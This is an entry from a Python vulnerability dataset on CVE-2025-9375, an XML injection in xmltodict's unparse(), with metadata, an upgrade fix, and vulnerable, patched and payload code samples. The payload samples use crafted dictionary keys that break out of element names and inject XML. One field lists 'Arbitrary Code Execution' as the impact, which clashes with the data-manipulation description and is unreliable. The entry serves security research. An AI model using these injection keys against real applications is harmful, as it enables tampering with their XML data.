VAITP Dataset

← Back to the dataset

CVE-2025-9375

XML injection in xmltodict's unparse() allows for data manipulation.

  • CVSS 6.9
  • CWE-91
  • Input Validation and Sanitization
  • Remote

XML Injection vulnerability in xmltodict allows Input Data Manipulation. This issue affects xmltodict: from 0.14.2 before 0.15.1. NOTE: the scope of this CVE is disputed by the vendor on the grounds that xmltodict.unparse() delegates element-name handling to Python's xml.sax.saxutils.XMLGenerator, and that XMLGenerator should be the component performing validation.

CVSS base score
6.9
Published
2025-09-01
OWASP
A03 Injection
Orthogonal defect classification
Interface
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
xmltodict
Fixed by upgrading
Yes

Solution

Upgrade `xmltodict` to version 0.15.1 or later.

Vulnerable code sample

import xmltodict

# This example represents the behavior before a fix.
# A malicious key is crafted to inject new XML elements ('<', '>').
# In a vulnerable version, these characters are not escaped when used as an element name
# during the unparsing process, leading to XML injection.

malicious_dict = {
    'root': {
        'legit_element><injected_element>pwned</injected_element><legit_element': 'some_value'
    }
}

# The unparse function processes the dictionary.
# The malicious key is used directly, resulting in injected XML nodes.
vulnerable_xml_output = xmltodict.unparse(malicious_dict)

print(vulnerable_xml_output)

Patched code sample

import xmltodict

# This dictionary contains a key that is not a valid XML element name.
# It is crafted to inject a new <injected> element into the XML structure.
malicious_dict_input = {
    'root': {
        'legitimate_element': 'some_value',
        'another_element><injected>pwned</injected><another_element': 'injected_value'
    }
}

try:
    # In a fixed version of xmltodict (0.15.1+), the unparse function validates
    # element names before generation. When it encounters an invalid name like the
    # one in `malicious_dict_input`, it raises a ValueError.
    # This behavior prevents the malformed key from being injected into the XML output.
    # The underlying xml.sax.saxutils.XMLGenerator is responsible for this validation.
    xml_output = xmltodict.unparse(malicious_dict_input, pretty=True)

    # This code block should NOT be reached in a fixed version.
    print("VULNERABLE: XML was generated without error.")
    print(xml_output)

except ValueError as e:
    # A fixed version correctly raises an exception, thus mitigating the vulnerability.
    # This demonstrates that the input data was validated and the injection was stopped.
    print(f"FIXED: The library correctly blocked the invalid element name.")
    print(f"Caught expected exception: {e}")

Payload

import xmltodict

# This dictionary contains a key with characters intended to break out
# of the XML element's name and inject a new element.
payload_dict = {
    'data': {
        'item><injected_element>This content is injected</injected_element><item': 'some_value'
    }
}

# The unparse function will fail to properly sanitize the dictionary key,
# resulting in the injection of a new XML element.
malformed_xml = xmltodict.unparse(payload_dict)

print(malformed_xml)

Cite this entry

@misc{vaitp:cve20259375,
  title        = {{XML injection in xmltodict's unparse() allows for data manipulation.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-9375},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-9375/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::